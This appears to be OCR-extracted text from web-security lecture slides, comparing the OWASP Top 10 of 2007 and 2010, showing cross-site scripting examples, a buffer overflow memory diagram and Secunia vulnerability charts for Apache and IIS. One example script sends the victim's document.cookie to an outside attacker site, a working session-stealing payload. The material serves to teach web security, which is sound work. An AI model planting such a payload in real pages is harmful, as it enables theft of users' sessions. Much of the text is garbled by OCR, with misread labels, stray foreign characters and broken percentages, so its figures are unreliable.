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OWASP Top 10 — 2007 (Previous) OWASP Top 10 - 2010 (New)

A2 - Injection Flaws

Al - Injection

Al - Cross Site Scripting (XSS)

A2 — Cross-Site Scripting (XSS)

A7 - Broken Authentication and Session Management

A3 — Broken Authentication and Session Management

Ad - Insecure Direct Object Reference

A4 - Insecure Direct Object References

A5 — Cross Site Request Forgery (CSRF)

AS — Cross-Site Reauest Forgerv (CSRF)

<was T10 2004 Al10 - Insecure Configuration Management>

A6 — Security Misconfiguration (NEW)

AB - Insecure Cryptographic Storage

A7 - Insecure Cryptographic Storage

A10 - Failure to Restrict URL Access

A8 — Failure to Restrict URL Access

A9 = Insecure Communications

A9 - Insufficient Transport Layer Protection

<notin T10 2007>

A10 — Unvalidated Redirects and Forwards (NEW)

A3 — Malicious File Execution

<dropped from T10 2010>

AB - Information Leakage and Improper Error Handling

<dropped from T10 2010>
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<script>alert("Hello World");</script>
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<script>location.replace('http://www.hackerspage.com/?steal='
+document.cookie)</script>
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FHA > A4 E 3 0 R F 8 byte§ buffer

Variable A B
Value [Null] 1979
Hex OO0 OO 00| OO | OO | OO | OO | OO | O7 | BB

O By » excessiveit i 3 (% 9 byte) - eif 3| %4k Brbuffer

Variable A C*’J B

value | 'e X C = S S | V' 25856
Hex | 65| 78| 63 | 66 | 73 | 73 | 69 | 76 | 65 | 00
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Lists of security problems fixed in released versions of the

» Apache 2.2 Security Vulnerabilities

BN E B 5 , = by it » Apache I.ISJ Secmjh' ‘».:ulnerab:jl?ujci
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T < 1878 - BEFFI AR EApacheiiE «
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Microsoft Internet Information Services (IIS) 5.x
Criticality (Based on 15 advisories from 2003-2009)

27% 7%
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This graph was generated by Secunia.

Based on vulnerability information avail

Microsoft Internet Information Services (IIS) 6
Criticality (Based on 9 advisories from 2003-2009)

Extremely (0%)
Highly (11%)
Moderately (44%)
Less (33%)

Mot (11%)

Bvailable at http://secunia.com/

Apache 2.2.x

Criticality (Based on 18 advisOTTES ITOIN 2003-2010] |
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This graph was generated by Secunia.

Based on vulnerability information available at http://secunia.com/

Microsoft Internet Information Services (IIS) 7.x -
Criticality (Based on 2 advisories from 2003-2009) S
H Extremely (0%)
O Highly (0%} -
0% O Moderately (0%) 8
O Less (100%)
O Not (0%)
100% nia.
This graph was generated by Secunia.
Based on vulnerability information available at http://secunia.com/

Extremely (0%)
Highly (&%)
Moderately {11%)
Less (729%)

Mot (11%)
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&0%

This graph was generated by Secunia.

dvisories from 2003-2010)

Extrermely (0%)
Highly (5%
Moderately (25%)
Less (60%)

Mot (10%)

Based on vulnerability information available at http://secunia.com/
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